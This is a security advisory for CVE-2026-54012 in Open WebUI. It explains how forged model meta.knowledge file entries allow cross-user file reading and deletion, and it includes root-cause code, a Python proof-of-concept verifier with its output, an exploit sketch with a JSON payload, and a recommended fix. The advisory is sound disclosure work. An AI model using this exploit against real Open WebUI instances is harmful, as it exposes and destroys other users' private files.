CVE-2026-54012
Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion
Description
## Summary Open WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file's extracted text, and `has_access_to_file()`'s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user's file ID to their model metadata and read or delete that private file. ## Impact Security boundary crossed: file confidentiality and integrity. An authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can: - read the file's extracted text (up to `100000` characters per `view_file` call from `file.data.content`), - read the file's content via `GET /api/v1/files/{id}/content`, and - delete the file via `DELETE /api/v1/files/{id}`. ## Root Cause `ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access: ```python # backend/open_webui/models/models.py class ModelForm(BaseModel): model_config = ConfigDict(extra='ignore') id: str base_model_id: Optional[str] = None name: str meta: ModelMeta params: ModelParams ``` Model creation only checks the caller's model-workspace permission and then stores the form data: ```python # backend/open_webui/routers/models.py if user.role != 'admin' and not await has_permission( user.id, 'workspace.models', request.app.state.config.USER_PERMISSIONS, db=db ): raise HTTPException(...) model = await Models.insert_new_model(form_data, user.id, db=db) ``` The insert sink persists the supplied `meta`: ```python # backend/open_webui/models/models.py result = Model( **{ **form_data.model_dump(exclude={'access_grants'}), 'user_id': user_id, ... } ) ``` When built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`: ```python # backend/open_webui/utils/tools.py model_knowledge = model.get('info', {}).get('meta', {}).get('knowledge', []) ... knowledge_types = {item.get('type') for item in model_knowledge} if 'file' in knowledge_types or 'collection' in knowledge_types: builtin_functions.append(view_file) ``` `view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`: ```python # backend/open_webui/tools/builtin.py if ( file.user_id != user_id and user_role != 'admin' and not any( item.get('type') == 'file' and item.get('id') == file_id for item in (__model_knowledge__ or []) ) and not await has_access_to_file(...) ): return json.dumps({'error': 'File not found'}) ``` The same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller's accessible models and returns true when a model's `meta.knowledge` contains the requested file ID: ```python # backend/open_webui/utils/access_control/files.py for model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db): knowledge_items = getattr(model.meta, 'knowledge', None) or [] for item in knowledge_items: if isinstance(item, dict) and item.get('type') == 'file' and item.get('id') == file.id: return True ``` This branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create. ## PoC ```python #!/usr/bin/env python3 """ Verifier for forged model meta.knowledge file entries reaching builtin tools. The proof executes: - the real Models.insert_new_model() sink with a forged meta.knowledge entry - the real builtin view_file() authorization branch Fake DB/model adapters are used only to avoid requiring a live Open WebUI server. The security-sensitive code under test is Open WebUI application code. """ from __future__ import annotations import asyncio import ast import json import os import sys import types from pathlib import Path from types import SimpleNamespace REPO = Path(__file__).resolve().parents[1] BUILTIN_TOOLS = REPO / "backend/open_webui/tools/builtin.py" def prepare_imports() -> None: sys.path.insert(0, str(REPO / "backend")) os.environ["VECTOR_DB"] = "none" class DummyTyper: def command(self, *args, **kwargs): return lambda fn: fn sys.modules.setdefault( "typer", types.SimpleNamespace( Typer=lambda *args, **kwargs: DummyTyper(), Option=lambda *args, **kwargs: None, echo=lambda *args, **kwargs: None, Exit=Exception, ), ) sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None)) class FakeDb: def __init__(self): self.added = [] self.committed = False self.refreshed = False def add(self, row): self.added.append(row) async def commit(self): self.committed = True async def refresh(self, row): self.refreshed = True class FakeDbContext: def __init__(self, db): self.db = db async def __aenter__(self): return self.db async def __aexit__(self, exc_type, exc, tb): return False async def verify_model_insert_accepts_victim_file(victim_file_id: str): import open_webui.models.models as models_module fake_db = FakeDb() original_context = models_module.get_async_db_context original_set_grants = models_module.AccessGrants.set_access_grants original_to_model = models_module.Models._to_model_model async def fake_set_access_grants(*args, **kwargs): return True async def fake_to_model(self, model, access_grants=None, db=None): return SimpleNamespace( id=model.id, user_id=model.user_id, base_model_id=model.base_model_id, name=model.name, params=model.params, meta=model.meta, access_grants=[], is_active=model.is_active, created_at=model.created_at, updated_at=model.updated_at, ) try: models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db) models_module.AccessGrants.set_access_grants = fake_set_access_grants models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models) inserted = await models_module.Models.insert_new_model( models_module.ModelForm( id="attacker-model", base_model_id="gpt-vision-base", name="Attacker Model", params={}, meta={ "knowledge": [ { "id": victim_file_id, "type": "file", "name": "victim-private.txt", } ], "builtinTools": {"knowledge": True}, }, ), user_id="attacker", ) finally: models_module.get_async_db_context = original_context models_module.AccessGrants.set_access_grants = original_set_grants models_module.Models._to_model_model = original_to_model stored_meta = [getattr(row, "meta", None) for row in fake_db.added] stored_knowledge_ids = [ item.get("id") for meta in stored_meta for item in ((meta or {}).get("knowledge") or []) ] return { "insert_returned_model": bool(inserted), "db_commit_called": fake_db.committed, "stored_user_ids": [getattr(row, "user_id", None) for row in fake_db.added], "stored_model_ids": [getattr(row, "id", None) for row in fake_db.added], "stored_knowledge_file_ids": stored_knowledge_ids, } async def verify_view_file_trusts_model_knowledge(victim_file_id: str): class FakeFiles: looked_up_ids = [] async def get_file_by_id(self, file_id, db=None): self.looked_up_ids.append(file_id) if file_id == victim_file_id: return SimpleNamespace( id=victim_file_id, user_id="victim", filename="victim-private.txt", data={"content": "PRIVATE_MODEL_KNOWLEDGE_SECRET"}, created_at=1, updated_at=2, ) return None async def fake_has_access_to_file(file_id, access_type, user, db=None): return False class FakeUserModel: def __init__(self, **kwargs): self.__dict__.update(kwargs) fake_files = FakeFiles() fake_files_module = types.SimpleNamespace(Files=fake_files) fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file) original_files_module = sys.modules.get("open_webui.models.files") original_acl_module = sys.modules.get("open_webui.utils.access_control.files") try: sys.modules["open_webui.models.files"] = fake_files_module sys.modules["open_webui.utils.access_control.files"] = fake_file_acl_module source = BUILTIN_TOOLS.read_text(encoding="utf-8") tree = ast.parse(source, filename=str(BUILTIN_TOOLS)) selected = [ node for node in tree.body if isinstance(node, ast.AsyncFunctionDef) and node.name == "view_file" ] if len(selected) != 1: raise RuntimeError("could not find view_file") module = ast.Module(body=selected, type_ignores=[]) ast.fix_missing_locations(module) ns = { "json": json, "Optional": __import__("typing").Optional, "Request": object, "UserModel": FakeUserModel, "log": SimpleNamespace(exception=lambda *args, **kwargs: None), "MAX_VIEW_FILE_CHARS": 100_000, "DEFAULT_VIEW_FILE_MAX_CHARS": 10_000, } exec(compile(module, str(BUILTIN_TOOLS), "exec"), ns) view_file = ns["view_file"] denied_without_model_knowledge = await view_file( victim_file_id, __request__=SimpleNamespace(), __user__={"id": "attacker", "role": "user", "name": "attacker", "email": "[email protected]"}, __model_knowledge__=[], ) allowed_with_model_knowledge = await view_file( victim_file_id, __request__=SimpleNamespace(), __user__={"id": "attacker", "role": "user", "name": "attacker", "email": "[email protected]"}, __model_knowledge__=[{"id": victim_file_id, "type": "file"}], ) finally: if original_files_module is not None: sys.modules["open_webui.models.files"] = original_files_module else: sys.modules.pop("open_webui.models.files", None) if original_acl_module is not None: sys.modules["open_webui.utils.access_control.files"] = original_acl_module else: sys.modules.pop("open_webui.utils.access_control.files", None) denied = json.loads(denied_without_model_knowledge) allowed = json.loads(allowed_with_model_knowledge) return { "file_ids_looked_up": fake_files.looked_up_ids, "without_model_knowledge": denied, "with_forged_model_knowledge": allowed, "private_content_disclosed": allowed.get("content") == "PRIVATE_MODEL_KNOWLEDGE_SECRET", } async def main() -> None: prepare_imports() victim_file_id = "victim-private-file" insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id) tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id) result = { "confirmed": ( insert_sink["insert_returned_model"] is True and insert_sink["stored_user_ids"] == ["attacker"] and insert_sink["stored_knowledge_file_ids"] == [victim_file_id] and tool_read["without_model_knowledge"].get("error") == "File not found" and tool_read["private_content_disclosed"] is True ), "attacker_user_id": "attacker", "victim_user_id": "victim", "victim_file_id": victim_file_id, "attacker_owns_file": False, "model_insert_sink": insert_sink, "tool_read": tool_read, "source": { "insert_sink": "backend/open_webui/models/models.py:Models.insert_new_model", "tool_injection": "backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__", "read_sink": "backend/open_webui/tools/builtin.py:view_file", }, } print(json.dumps(result, indent=2, sort_keys=True)) if not result["confirmed"]: raise SystemExit(1) if __name__ == "__main__": asyncio.run(main()) ``` The PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present. Result: ```json { "attacker_owns_file": false, "attacker_user_id": "attacker", "confirmed": true, "model_insert_sink": { "db_commit_called": true, "insert_returned_model": true, "stored_knowledge_file_ids": [ "victim-private-file" ], "stored_model_ids": [ "attacker-model" ], "stored_user_ids": [ "attacker" ] }, "tool_read": { "private_content_disclosed": true, "with_forged_model_knowledge": { "content": "PRIVATE_MODEL_KNOWLEDGE_SECRET", "filename": "victim-private.txt", "id": "victim-private-file" }, "without_model_knowledge": { "error": "File not found" } }, "victim_file_id": "victim-private-file", "victim_user_id": "victim" } ``` ## Exploit Sketch 1. Attacker has permission to create or update workspace models. 2. Attacker creates a model with: ```json { "meta": { "knowledge": [ { "id": "VICTIM_FILE_ID", "type": "file", "name": "victim-private.txt" } ], "builtinTools": { "knowledge": true } } } ``` 3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`. 4. The tool returns the victim file's extracted text content despite the attacker not owning or otherwise having access to the file. ## Recommended Fix Validate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == "file"`, require direct ownership, admin role, or `has_access_to_file(file_id, 'read', user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`. Do not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association. ## Consolidation Per our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw: - Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing). - Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`'s model branch. Fix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.